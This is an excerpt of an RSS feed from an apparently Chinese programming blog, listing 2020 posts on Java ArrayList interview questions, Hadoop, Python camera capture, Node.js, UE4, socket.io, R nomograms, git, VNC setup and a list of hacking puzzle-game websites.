      <description>由于本人对多线程板块知识理解的深度不够，所以本文结合了网上面试题的同时略过了ArrayList与多线程结合的题目，或许那才是重点。不过咱们是初学者，先了解就行，不用深究。&#xA;文章目录 1、List概述2、ArrayList基本概述3、常见的ArrayList面试题3.1、ArrayList是如何进行扩容的3.2、为什么ArrayList获取集合的长度是使用size，而不是使用length3.3、ArrayList频繁扩容导致添加性能急剧下降，如何处理？3.4、如何复制一个ArrayList到另一个ArrayList中去3.5、 ArrayList和LinkedList区别？3.6、ArrayList是线程安全的么？如果不安全，又需要安全怎么办3.7、对于ArrayList和LinkedList如何选择使用？ 写在前头&#xA;学完集合的源码，整个人都不好了。以前只知道List、Set、Map三种集合，然后就是对应的增删改查方法，哇，使用集合存数据方便极了，谁还用难用的数组！！！凡是多问几个为什么，你不问，面试官帮你问。好的，所以为了赶在面试官前面，我先来问问自己为什么。&#xA;于是就有了你看的这篇博客，当然这仅仅是来自一个初学ArrayList集合的人，知识体系也就不够完善，但是我会加油的，希望对你也有帮助！！！&#xA;不过不得不说ArrayList的源码要比HashMap简单很多，只有逻辑代码，很少涉及算法部分（那些二进制算法）。废话不多说，咱们开始吧！！！&#xA;建议本文可以配合源码食用&#xA;传送门&#xA;ArrayList源码剖析&#xA;1、List概述 Java 的 List 是非常常用的数据类型。List 是有序的 Collection。Java List 一共三个实现类：&#xA;分别是 ArrayList、Vector 和 LinkedList，所以ArrayList也是有序的。下面的图片分别是三种集合的类图，有兴趣的可以了解一下，当然后期我也会继续跟进，毕竟熟透框架 人人有责。&#xA;2、ArrayList基本概述 ArrayList是一个数组队列，相当于动态数组。与Java中的数组相比，它的容量能动态增长。它继承于AbstractList，实现了List，RandomAccess，Cloneable，java.io.Serializable这些接口&#xA;ArrayList 是最常用的 List 实现类，内部是通过数组实现的，它允许对元素进行快速随机访问。数组的缺点是每个元素之间不能有间隔，当数组大小不满足时需要增加存储能力，就要将已经有数组的数据复制到新的存储空间中。当从 ArrayList 的中间位置插入或者删除元素时，需要对数组进行复制、移动、代价比较高。因此，它适合随机查找和遍历，不适合插入和删除。&#xA;3、常见的ArrayList面试题 3.1、ArrayList是如何进行扩容的 当我们在使用add()方法时，如果我们没有指定对应的容量，系统就会采用默认的10作为集合的容量。（至于为什么是10，我觉得应该是作者综合考虑了很多因素才决定的吧，毕竟扩容挺浪费性能的）当集合的容量超过10以后，集合的容量就开始扩容，每次扩容为之前容量的1.5倍（oldCapacity + (oldCapacity &amp;gt;&amp;gt; 1)）。当然，每次调用add()方法的时候，都会去进行容量的判断，继而确定是否扩容。&#xA;3.2、为什么ArrayList获取集合的长度是使用size，而不是使用length 在最开始接触集合的时候，老师就跟我们说，获取集合的长度是使用size()，而不是length。调用size()我们不难发现它也只是简单的返回一个size变量。那为什么就不能继续让length继续担任长度呢？&#xA;public int size() { return size; } 其实在ArrayList中，有集合容量和集合长度一说。集合的容量就是使用的length（用于扩容），集合长度就是集合中真正的包含的元素使用size。并且我们ArrayList是不能够获取集合容量的，这也就是为什么我们的获取集合的长度是使用的size()而非length。&#xA;3.3、ArrayList频繁扩容导致添加性能急剧下降，如何处理？ 我们分析源码可得，每次ArrayList集合在添加方法的时候，都会去进行集合容量的判定，继而确定是否需要进行扩容。如果我们能够指定出集合具体的恰当容量，那么系统就不会去扩容，直接使用我们设置的容量。这样就能够避免频繁扩容带来的性能损耗。&#xA;3.4、如何复制一个ArrayList到另一个ArrayList中去 1、由于ArrayList类实现了clone()接口，所以我们可以直接使用克隆的方式进行&#xA;2、在构造方法中传入集合对象，可以完成复制&#xA;3、使用addAll方法传入集合对象，可以完成复制&#xA;3.5、 ArrayList和LinkedList区别？ ArrayList&#xA;基于动态数组的数据结构对于随机访问的get和set，ArrayList要优于LinkedList对于随机操作的add和remove，ArrayList并不一定比LinkedList慢 (虽然LinkedList在增删时拥有明显的优势，但是ArrayList底层由于是动态数组，因此并不是每次add和remove的时候都需要创建新数组) LinkedList&#xA;基于链表的数据结构对于顺序操作，LinkedList不一定比ArrayList慢对于随机操作，LinkedList效率明显较低（因为使用顺序访问只是在获取迭代器的时候进行了一次折半，然而随机操作每次都要去获取） 3.6、ArrayList是线程安全的么？如果不安全，又需要安全怎么办 ArrayList不是线程安全的，只能用在单线程环境下，多线程环境下可以考略使用Collections.synchronizedList(list)返回一个线程安全的ArrayList类。也可以使用ConcurrentLinkedQueue()来保证安全。&#xA;3.7、对于ArrayList和LinkedList如何选择使用？ 时间复杂度上：&#xA;由于ArrayList是动态数组（动态就是可以自动扩容），所以改和查有明显的优势，但是增删由于涉及到扩容效率会相对差些，但并不是每次都会去扩容，所以ArrayList的增删效率差这种说法是有一定问题的。&#xA;LinkedList是一个双向链表，会出现在删除和修改上有明显的优势，但查找和修改就有一定的劣势，所以使用LinkedList一定要使用迭代器查找（具体原因在分析源码的时候，我已经说过）。</description>
    </item>
    <item>
      <title>第一次启动journalnode，没有启动成功</title>
      <link>https://bchobby.github.io/posts/faed1931a956219f916117a4ffa88d37/</link>
      <pubDate>Thu, 02 Apr 2020 15:39:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/faed1931a956219f916117a4ffa88d37/</guid>
      <description>sbin/hadoop-daemon.sh start journalnode 打开节点&#xA;然而并没有打开，估计是因为第一次配置文件，哪里配错了。&#xA;按照log地址去查看日志：&#xA;果然，core_site.xml 29行有错，删除后问题解决。</description>
    </item>
    <item>
      <title>多线程读取&#43;多进程保存多路摄像头图像</title>
      <link>https://bchobby.github.io/posts/30eb03af3d67a47fb20aba4d6ff6a943/</link>
      <pubDate>Thu, 02 Apr 2020 12:08:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30eb03af3d67a47fb20aba4d6ff6a943/</guid>
      <description>项目需要对多路在线视频采集数据保存，利用自己之前的两篇博客：&#xA;（1）利用python多进程程或多线程实时读取远程IP摄像头视频&#xA;（2）Pyhon cv2.VideoWriter 保存视频&#xA;整合成如下代码，可以对多路网络摄像头图像实时采集并分别保存视频。或者自己改写代码，直接保存每路的实时图像也可以。&#xA;需要修改：&#xA;（1）multithread_run()中自己的图像尺寸和帧率（帧率不一定跟源码流帧率一致）&#xA;（2）主函数中的url，记得加上自己的帐号密码&#xA;from threading import Thread from collections import deque from multiprocessing import Process import cv2 ##################################################### def producer(cap, q): while True: # print(&#39;producer execuation&#39;) if cap.isOpened(): ret, img = cap.read() q.append(img) def consumer(camera_index, outVideo, q): print(&#34;Start to capture and save video of camera {}...&#34;.format(camera_index)) while True: if len(q) == 0: pass else: img = q.pop() # print(&#39;consumer execuation&#39;) img_res = cv2.resize(img, (int(img.</description>
    </item>
    <item>
      <title>如何完全卸载Node.js，然后从头开始重新安装（Mac OS X）</title>
      <link>https://bchobby.github.io/posts/8f730b2b6103ee2948a2a3a2a14a51cc/</link>
      <pubDate>Thu, 02 Apr 2020 11:21:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f730b2b6103ee2948a2a3a2a14a51cc/</guid>
      <description>本文翻译自：How do I completely uninstall Node.js, and reinstall from beginning (Mac OS X)&#xA;My version of node is always v0.6.1-pre even after I install brew node and NVM install v0.6.19. 我的节点版本始终是v0.6.1-pre，即使我安装了brew节点并且NVM也安装了v0.6.19。 My node version is: 我的节点版本是： node -v v0.6.1-pre NVM says this (after I install a version of node for the first time in one bash terminal): NVM这样说（我在一个bash终端中第一次安装了一个版本的节点之后）： nvm ls v0.6.19 current: v0.6.19 But when I restart bash, this is what I see: 但是当我重新启动bash时，这是我看到的： nvm ls v0.</description>
    </item>
    <item>
      <title>iOS 13 如何删除SceneDelegate</title>
      <link>https://bchobby.github.io/posts/2a578cc8c9290facecf1fef3f19cf33e/</link>
      <pubDate>Wed, 01 Apr 2020 17:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a578cc8c9290facecf1fef3f19cf33e/</guid>
      <description>Xcode11之后新创建的工程会多出两个文件SceneDelegate。那么我们如何让它变回之前的那样的工程呢。&#xA;一、将这两个文件删除。&#xA;会报错There is no scene delegate set. A scene delegate class must be specified to use a main storyboard file.&#xA;二、将Info.plist 中的 SceneMainSet 删除&#xA;三、将AppDelegate.m中的UISceneSession lifecycle注释掉或者删掉。&#xA;#pragma mark - UISceneSession lifecycle //- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { // // Called when a new scene session is being created. // // Use this method to select a configuration to create the new scene with. // return [[UISceneConfiguration alloc] initWithName:@&#34;</description>
    </item>
    <item>
      <title>kettle最新版本，各版本6.1,7.1,8.1,8.2国内镜像下载地址</title>
      <link>https://bchobby.github.io/posts/bf81572938943c3b1bfae3b9a248c324/</link>
      <pubDate>Wed, 01 Apr 2020 16:38:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf81572938943c3b1bfae3b9a248c324/</guid>
      <description>kettle各版本国内镜像下载地址：http://mirror.bit.edu.cn/pentaho/</description>
    </item>
    <item>
      <title>UE4如何将虚幻商城资源导入到自己的工程中&#43;保管库的使用</title>
      <link>https://bchobby.github.io/posts/200db2edde05b384e2b2650cc907ee49/</link>
      <pubDate>Wed, 01 Apr 2020 16:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/200db2edde05b384e2b2650cc907ee49/</guid>
      <description> 一、目的： 1、导入资源到UE4工程里面很多，下面介绍一个 一、参考 1、Unreal初级案例-动作游戏入门中-保管库的使用 http://www.sikiedu.com/course/514/tasks&#xA;①总结：good：亲测有效 </description>
    </item>
    <item>
      <title>Epic启动器里添加本地UE4版本</title>
      <link>https://bchobby.github.io/posts/fe7e6a425f42c173583bb237919d77c8/</link>
      <pubDate>Wed, 01 Apr 2020 15:44:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe7e6a425f42c173583bb237919d77c8/</guid>
      <description>目录&#xA;一、目的：&#xA;1、Epic直接识别本地的UE4版本，无需重新下载&#xA;1、发现想在虚幻商城里的资源导入到我的UE4工程里面，Epic必须要识别ue4版本，所以想着Epic必须要识别本地的UE4版本，电脑里面已经有了对应的UE4版本，我不想重新下载UE4，所以使用这个方法能够轻松解决&#xA;1、想：电脑重做系统后，UE4可能需要重新下载了，之前下载的版本Epic无法识别到，所以想让Epic识别之前下载好的UE4&#xA;二、参考：&#xA;1、UE4启动器是否有办法添加本地版本&#xA;三、操作：&#xA;1、注意：&#xA;1、拿4.15.3测试（亲测：4.8.3、4.9.2、4.13.2、4.15.3、4.18.3、4.19.2、4.21.2成功）&#xA;一、目的： 1、Epic直接识别本地的UE4版本，无需重新下载 1、发现想在虚幻商城里的资源导入到我的UE4工程里面，Epic必须要识别ue4版本，所以想着Epic必须要识别本地的UE4版本，电脑里面已经有了对应的UE4版本，我不想重新下载UE4，所以使用这个方法能够轻松解决 1、想：电脑重做系统后，UE4可能需要重新下载了，之前下载的版本Epic无法识别到，所以想让Epic识别之前下载好的UE4 二、参考： 1、UE4启动器是否有办法添加本地版本 https://blog.csdn.net/chinahaerbin/article/details/51150536&#xA;总结：good：此方法尝试都可以添加本地，下面我的过程更加详细 三、操作： 1、注意： ①如果发现复制文件夹时候如此提示，任务管理器中找不到，可以注销电脑&#xA;1、拿4.15.3测试（亲测：4.8.3、4.9.2、4.13.2、4.15.3、4.18.3、4.19.2、4.21.2成功） ①选择安装版本：为了避免安装冲突，我将文件夹名字从UE_4.15改为了UE_4.15OLD&#xA;点击安装&#xA;①然后目录下面就有了UE_4.15&#xA;①等到文件夹中有.egstore文件时候，暂停、关闭安装，然后将UE_4.15OLD文件夹内容全部剪切到UE_4.15文件夹中&#xA;①然后再次EPIC中点击继续，它自己就会安装、验证我们之前下载UE4版本，之后就是Epic识别本地的UE4版本了,过一段时间就好了，能够启动了</description>
    </item>
    <item>
      <title>最详细的图解二叉排序树和平衡二叉树（定义，区别，构造）</title>
      <link>https://bchobby.github.io/posts/ab0cefe16776d137ef32ff864bb491a6/</link>
      <pubDate>Wed, 01 Apr 2020 10:02:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab0cefe16776d137ef32ff864bb491a6/</guid>
      <description>二叉排序树（又称二叉查找树） 即左子树要比根大，而右子树要比根小&#xA;这棵树最好的情况就是形成一颗完全二叉树&#xA;这时候，他的高度是最低的，最多要查找的次数也是最少的，最差的情况就是高度为n（刚好n是所有节点数），完全就是一个线性结构的时候&#xA;这里就引出了平衡二叉树 二叉平衡树实际上是对不平衡的二叉排序树进行处理 如果不平衡要怎么办–进行平衡化处理&#xA;例子&#xA;上图从宏观上看：e的根节点会变成他的左子节点，而整棵树的根节点会变成他的右子节点&#xA;F比E小，比b大，所以就成了这样的位置&#xA;加了个g还是LR型怎么办，&#xA;g比e大比a小所以加这个位置&#xA;搞个例子</description>
    </item>
    <item>
      <title>实战02-selenium模拟QQ邮箱登录并批量爬取指定邮件的附件——体验版</title>
      <link>https://bchobby.github.io/posts/40829e12403657517a2e7353886e6721/</link>
      <pubDate>Tue, 31 Mar 2020 23:47:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40829e12403657517a2e7353886e6721/</guid>
      <description>实战02-selenium模拟QQ邮箱登录并批量爬取指定邮件的附件 1.功能需求2.直接上代码3.数据作证4.掉坑经历 1.功能需求 诞生的背景：作为一个学委，尤其受疫情影响，同学发的一大堆邮件单个下载非常耗时，而且无聊。 由此想到了用爬虫可以批量抓取，学了一天，果断四处找资源，终于可以解放收作业了(不过，还有待完善的地方，后面再贴出来) 这个爬虫脚本实现的功能：首先模拟用户登录(通过账号、密码)qq邮箱，然后进去收件箱后，获取已读/未读的邮件列表， 写了个正则表达式用于筛选指定的邮件(可按需你需求替换正则模板即可)，接着点进去下载附件(也就是，这也有个隐式条件， 里面一定要有附件，且只下载一个，这也是不够完善的地方)。下载完后直接返回，如此循环遍历(怪我写的很粗糙：)批量下载指定的文件 2.直接上代码 from selenium import webdriver from selenium.webdriver.common.by import By from selenium.common.exceptions import TimeoutException from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from config import * import time import re # 这里是浏览器驱动路径，也可防止系统环境变量就不用指定了 browser = webdriver.Chrome(executable_path=&#34;./chromedriver.exe&#34;) wait = WebDriverWait(browser, 10) # 设置下隐式等待时间10s def mail_qq_login(): try: browser.get(&#34;https://mail.qq.com/&#34;) browser.switch_to.frame(&#34;login_frame&#34;) login_bt = wait.until( EC.presence_of_element_located((By.CSS_SELECTOR, &#39;#switcher_plogin&#39;)) ) login_bt.click() # 账号密码登录 qq_nb = wait.until( EC.presence_of_element_located((By.ID,&#34;u&#34;)) ) qq_pw = wait.</description>
    </item>
    <item>
      <title>Windows系列：解决win10 cannot initialize winsock library ！</title>
      <link>https://bchobby.github.io/posts/bfd9a113a993ae3a658ce4128cf39332/</link>
      <pubDate>Tue, 31 Mar 2020 22:35:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfd9a113a993ae3a658ce4128cf39332/</guid>
      <description>现象 chrome浏览器可以上网，其他软件都无法上网！&#xA;原因 某些原因导致注册表的winsock项被删除， 导致无法上网。&#xA;解决方法 重新创建winsock，下载允许即可重新创建。&#xA;链接：https://pan.baidu.com/s/1dIHwx5v3kLWY8T8bANP-uw 提取码：r6vv</description>
    </item>
    <item>
      <title>什么是socket.Io</title>
      <link>https://bchobby.github.io/posts/e0d694d5c1520220be766c208cc7c551/</link>
      <pubDate>Tue, 31 Mar 2020 21:22:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0d694d5c1520220be766c208cc7c551/</guid>
      <description>什么是socket.Io? SocketIO是在客户端和服务端之间建立的双向通信数据交换技术，底层使用EngineIO。SocketIO的的客户端使用Engine.IO-Client，服务端使用Engine.IO实现。&#xA;Socket.Io如何工作 当一个浏览器尝试建立SocketIO时，SocketIO首先使用xhr-polling创建一个长轮询。长轮询一旦建立，它将升级为WebSocket连接。&#xA;SocketIO底层是使用EngineIO库实现的，这个库使用WebSocket和XMLHttprequest封装了一套自己的Socket协议（暂时叫 EIO Socket）。一个完整的 EIO Socket 包括多个 XHR 和 WebSocket 连接.&#xA;客户端 EIO Socket 通过一个 XHR (XMLHttprequest) 握手。前端发送一个 XHR，告诉服务端我要开始 XHR 长轮询了。后端返回的数据里面包括一个 open 标志(数字 0 表示), 以及sid 和 upgrades 字段，ping时间间隔，ping超时时间。&#xA;0{ &#34;sid&#34;: &#34;8b7ab1ae-fbcf-4d23-8192-3c14a2a90721&#34;, &#34;upgrades&#34;: [ &#34;websocket&#34; ], &#34;pingInterval&#34;: 10000, &#34;pingTimeout&#34;: 60000 } 服务端 服务端使用 ws 库实现 WebSocket 协议。http://socket.io 服务启动时，会先启动一个 ws 服务。http://socket.io 会监听 HTTP 服务器的 upgrade 和 request 事件。当 upgrade 事件触发时，说明可能是 WebSocket 握手，先简单校验下，然后把请求交给 ws 服务进行处理，拿到 WebSocket 对象。当 request 事件触发时，根据 url 路径判断是不是 http://socket.</description>
    </item>
    <item>
      <title>关于nomogram核心函数的time.inc函数的设定</title>
      <link>https://bchobby.github.io/posts/8b25bd3beebef14c783c74a677f48e9d/</link>
      <pubDate>Tue, 31 Mar 2020 14:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b25bd3beebef14c783c74a677f48e9d/</guid>
      <description>转载自品略图书馆 http://www.pinlue.com/article/2020/03/3020/5510072525626.html&#xA;建立一个模型后，我们常常会评价模型的区分度（discrimination）和校准度（calibration）。生存模型中，我们经常会看到使用calibration图来呈现模型的校准度。笔者近期查阅了网上许多绘制calibration图的R代码，发现很多代码忽略了time.inc参数的使用，甚至注释中提到了这个参数的重要性却仍然用错了。将愚见记录与此，若有理解错误，烦请大佬指正。&#xA;发现这个问题是源于丁香园中一个讨论（关于R语言做calibration curve的相关问题），其中一个人提出“需要注意的是cph()建立模型的时候，time.inc参数的数值应该和calibrate()函数中参数u保持一致，例如3年就都是36。”&#xA;笔者首先查阅网上的相关代码，有的代码中会注释到time.inc需与参数u一致，但是却将time.inc局限地理解为建立Nomogram时的利用predictor计算survival的生存函数中的time参数。实际上在建立cph()时就应该预先设定好相应的time.inc参数的值。之前笔者也不确定这个参数的设置是否真的这么重要，然后就在自己的数据中进行尝试和比较，发现得到的calibration图差别比较大，于是找到rms包的源代码，发现其中calibrate.cph.s文件中如下几行和这个问题相关：&#xA;#获取生存预测模型的summary&#xA;ssum &amp;lt;- fit$surv.summary&#xA;if(!length(ssum)) stop(&#39;did not use surv=TRUE for cph( )&#39;)&#xA;cat(&#34;Using Cox survival estimates at &#34;, dimnames(ssum)[[1]][2],&#xA;&#34; &#34;, unit, &#34;s\n&#34;, sep=&#34;&#34;)&#xA;#获取每个层的2nd time（即u时刻）的平均生存率S #注意：此处不是基线风险函数h0&#xA;surv.by.strata &amp;lt;- ssum[2, , 1] #2nd time= at u, all strata&#xA;xb &amp;lt;- fit$linear.predictors #获取Cox模型的predictor #注意：这里线性部分是减去了均值的&#xA;if(length(stra &amp;lt;- fit$strata))&#xA;surv.by.strata &amp;lt;- surv.by.strata[stra]&#xA;#根据公式计算每个样本的生存率&#xA;survival &amp;lt;- as.vector(surv.by.strata ^ exp(xb))&#xA;其中我们看到，计算的基线生存函数，是u时刻的基线生存函数，但是这个u值却直接取自fit的模型的summary中，并非我们之后在调用calibrate方法时设置的u参数（这么做也是为了使整体源代码更简洁，但却容易造成用户误用）。&#xA;根据这些，笔者认为，正确的calibration应该这么绘制（以下举例，且忽略了nomogram的绘制）&#xA;coxm &amp;lt;- cph(Surv(time, status==1)~Age.+Grade.+Stage.+Surgery.+Size.+Site.,&#xA;x=T,y=T,data=All.data, surv=T, time.</description>
    </item>
    <item>
      <title>Altium designer -- 基本规则设置--间距设置Clearance</title>
      <link>https://bchobby.github.io/posts/37554e86f86281e98d5ab7991fad79d8/</link>
      <pubDate>Tue, 31 Mar 2020 12:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37554e86f86281e98d5ab7991fad79d8/</guid>
      <description> Altium designer – 基本规则设置 （1） 间距设置Clearance 硬件设计 软件 Altium designer 10PCB设计 间距设置 规则名称1：Clearance&#xA;一般间距 - 最小间距：6mil/8mil （优先考虑8mil）&#xA;规则1：All&#xA;规则2：All&#xA;规则名称2：Clearance_IsGND&#xA;GND网络间距 - 最小间距：15mil/12mil（优先考虑12mil）&#xA;规则1：InNet(‘GND’)&#xA;规则2：All&#xA;AD10界面 </description>
    </item>
    <item>
      <title>echarts 数据堆叠柱状图情况下设置圆角问题</title>
      <link>https://bchobby.github.io/posts/92a10def70c0a8acadccf584614eb41a/</link>
      <pubDate>Tue, 31 Mar 2020 10:42:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92a10def70c0a8acadccf584614eb41a/</guid>
      <description>前言 众所周知，echarts是前端最受欢迎的一个可视化图标库，几乎满足了前端构建图表的大部分需求，但是使用框架最大的问题可能就是框架的可扩展性，自定义性。不过主流框架也都很好的解决了这些问题，现在就echarts的柱状图数据堆叠怎么给最上面的数据设置圆角进行说明&#xA;属性说明 首先我们来看下正常情况下设置圆角：&#xA;这是官方示例，代码如下：&#xA;看下效果：&#xA;属性stack&#xA;官方说明：&#xA;示例代码：&#xA;效果：&#xA;问题与解决 现在像上面的柱状图堆叠情况下需要设置圆角，因为不能保证哪个数据是最后出现在柱状图中的，所以不能固定给 series-bar 的 itemStyle 设置圆角，这是我们注意到官方文档有这么一条：&#xA;对的，我们可以对数据进行个性化设置，我们只需要进行判断即可：我们从数组的最后一项，也就是最后一天往前依次去判断，如果当前项数据为0，则给当前项设置个性化参数 itemStyle ，如果不为0，则继续往前，直到第一项为止。&#xA;好了我们看下示例代码：&#xA;最终获得的数据即为个性化设置后的，我们使用即可：&#xA;结语 学习与使用echarts必须得学会去看它的配置项文档，有针对性的去查找跟本身问题相关的属性说明，一般都会得到问题的答案，希望这篇文章能够帮到你，有问题欢迎讨论与指正</description>
    </item>
    <item>
      <title>git merge 忽略一个文件</title>
      <link>https://bchobby.github.io/posts/ac27c2aa7044cfe0dd5c3405b5098ba6/</link>
      <pubDate>Tue, 31 Mar 2020 10:37:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac27c2aa7044cfe0dd5c3405b5098ba6/</guid>
      <description>实验环境：&#xA;git version 1.8.3.1，centos7.6&#xA;背景：很多时候，由于特定的分支对应特定的环境，有特定的配置文件，希望合并分支的时候，保留各自的配置文件。&#xA;网上很多使用 .gitattributes 的方案，但是这个需要被忽略的文件merge 时产生冲突，否则无效&#xA;本实验方案如下：合并时忽略 myfile.txt&#xA;git merge --no-ff --no-commit &amp;lt;merge-branch&amp;gt; git reset HEAD myfile.txt git checkout -- myfile.txt git commit -m &#34;merged &amp;lt;merge-branch&amp;gt;&#34; 参考文章&#xA;Git - Ignore files during merge</description>
    </item>
    <item>
      <title>黑客游戏网址大全 – HACK GAME COLLECTION</title>
      <link>https://bchobby.github.io/posts/9ce9a7f1bc75a9bd295325d953a6a03a/</link>
      <pubDate>Mon, 30 Mar 2020 21:39:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ce9a7f1bc75a9bd295325d953a6a03a/</guid>
      <description>原文链接：https://www.forece.net/post/2513.htm 不知道是不是很多人像我一样，很喜欢这类黑客解谜游戏，感觉很锻炼脑子，当时黑客防线推出那款黑客游戏，有一关，我想了足足8个小时，也不觉得累。后来华夏等网站相继推出黑客游戏，我是乐此不疲。在网上也找了很多国外的黑客游戏。这里是我收集的一些黑客游戏，有网页版的，有客户端版的。对于黑客游戏，不仅仅是锻炼自己的推理能力，而且还能让自己的思维更加活泼。不过电脑小白就不要玩了。。。。。。。很可能想爆了脑袋也过不去一关。这里需要很多的知识，Java, PHP, HTML, Javascript等网页语言，另外有的游戏还需要了解程序的加壳脱壳，加密与解谜，精通各种操作系统，游戏很多，大家自己随意玩吧。&#xA;Monyer系列（黑客游戏）&#xA;1. http://monyer.com/game/game1/ （中文）&#xA;2. http://monyer.com/game/game2/ （英文）&#xA;Sunnyspeed系列（英文）- 解谜类&#xA;1. http://sunnyspeed.com/puzzle/ （英文）&#xA;2. http://sunnyspeed.com/secret/ （英文）&#xA;3. http://sunnyspeed.com/crazy/ （英文）&#xA;Hack Forever（英文）- 实战攻防类&#xA;http://www.hackerforever.com&#xA;Hacker Funny Game（英文） - 模拟实战攻防类 （FLASH GAME）&#xA;http://www.funnygames.co.nz/play/hacker&#xA;Hacker Skills（英文） - 网页过关类&#xA;http://www.hackerskills.com/&#xA;Uplink （英文） - 模拟 Linux 攻防 （需下载游戏）&#xA;http://www.introversion.co.uk/uplink/&#xA;UPLINK 是一款基于Linux平台的黑客模拟游戏．玩家在其中扮演一位神通广大的黑客为ＵＰＬＩＮＫ公司工作，窃取各大公司的数据库机密资料． 深受广大游戏玩家的喜爱. 游戏里不需要你懂得太多的专业知识,反而会教你许多东西,只要你英语过得去.你是作为UPLINK的一个黑客,注册了以后你会得到一笔初始的资金和初始的软 硬件.如果你熟悉黑客的知识,你可以自己去做,如果不会的话,会有一个教学模式一步一步的教你,我这个菜鸟也看得懂要做什么.然后你的等级会上升,你就可 以正式在UPLINK的SERVER上联系客户,接取工作,完成工作就会获得回报(当然是钱啦)等级越高,任务的难度就会越高.在SERVER里,你还可 以买到更厉害的软件和硬件,让你容易完成任务。&#xA;51CTO - 黑客游戏系列 （中文） - 实战攻防类&#xA;第一季【原创：黑客游戏Ⅰ】危险的telnet（http://bbs.51cto.com/thread-659015-1.html）&#xA;第二季【原创：黑客游戏Ⅱ】致命的SA权限（http://bbs.51cto.com/thread-659512-1.html）&#xA;第三季【原创：黑客游戏Ⅲ】神秘的远程桌面端口（http://bbs.51cto.com/thread-659854-1.html）&#xA;MOX-X （英文）- 综合类&#xA;http://www.mod-x.co.uk/main.php&#xA;Hacker Evolution （英文） - 模拟攻防类 （需下载游戏）</description>
    </item>
    <item>
      <title>[Linux]Ubuntu安装vnc并解决花屏问题</title>
      <link>https://bchobby.github.io/posts/2ff4bf0eef3145b0e72698671a077543/</link>
      <pubDate>Mon, 30 Mar 2020 17:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ff4bf0eef3145b0e72698671a077543/</guid>
      <description>原创文章，欢迎转载。转载请注明：转载自 祥的博客&#xA;原文链接：https://blog.csdn.net/humanking7/article/details/105203744&#xA;文章目录 @[toc] 0. 环境1.基本概念2. 安装设置vnc4serverstep1. 安装vnc4serverstep2. 设置密码step3. 修改xstartup文件step4. 安装gnomestep5. 重启系统，气动vnc服务step6. windows终端访问 3. 问题汇总解决1解决2 4. vncsever命令参考文献 Ubuntu安装vnc并解决花屏问题&#xA;0. 环境 Ubutun 16.04.06 LTS 1.基本概念 VNC：VNC (Virtual Network Console)是虚拟网络控制台的缩写。它 是一款优秀的远程控制工具软件，由著名的 AT&amp;amp;T 的欧洲研究实验室开发的。&#xA;Ubuntu 存储库中还有几种不同的 VNC 服务器，如 TightVNC ， TigerVNC 和 x11vnc 。每个 VNC 服务器在速度和安全性方面都有不同的优点和缺点。&#xA;2. 安装设置vnc4server step1. 安装vnc4server apt-get install vnc4server step2. 设置密码 输入vncserver，初次启动的时候需要设置初始密码，密码最少6位。&#xA;root@x60s:~# vncserver You will require a password to access your desktops. password: Verify: New &#39;X&#39; desktop is x60s:1 Starting applications specified in /root/.</description>
    </item>
    <item>
      <title>Deepin v20安装过程详细步骤</title>
      <link>https://bchobby.github.io/posts/c432bdf19684a2b9a9eddaddd602e3ff/</link>
      <pubDate>Mon, 30 Mar 2020 14:03:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c432bdf19684a2b9a9eddaddd602e3ff/</guid>
      <description>Deepin v20安装步骤操作 版本选择：&#xA;1启动虚拟机，按回车键继续操作，如图1所示。&#xA;如图1所示&#xA;2、选择语言 “简体中文”，并勾选“我已仔细阅读并同意…”如图2所示。&#xA;如图2所示&#xA;3、点击继续安装 ，如图3所示&#xA;如图3所示&#xA;4、选择安装位置，点击“开始安装”，如图4所示。&#xA;如图4所示&#xA;5、点击继续，如图5所示&#xA;如图5所示&#xA;6、等待系统安装完成即可，大约10分钟左右地时间，如图6所示。&#xA;如图6所示&#xA;7、安装完成，按提示先移除安装介质，再重新启动，如图7所示。&#xA;如图7所示&#xA;8、选择时区，“上海”，点击“下一步”，如图8所示。&#xA;如图8所示&#xA;9、创建用户，如图9所示。&#xA;如图9所示&#xA;10、等待“优化系统配置”完成，如图10所示。&#xA;如图10所示&#xA;11、输入密码，如图11所示。&#xA;如图11所示&#xA;12、选择普通模式，如图12所示。&#xA;如图12所示&#xA;13、UOS系统安装完成，界面如下。如图13所示。&#xA;如图13所示。&#xA;至此，Deepin v20 安装完成！&#xA;效果展示</description>
    </item>
    <item>
      <title>pycharm，IDLE，Win10快捷键</title>
      <link>https://bchobby.github.io/posts/f491df84aaf8ea89c338688888c16c3a/</link>
      <pubDate>Mon, 30 Mar 2020 13:41:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f491df84aaf8ea89c338688888c16c3a/</guid>
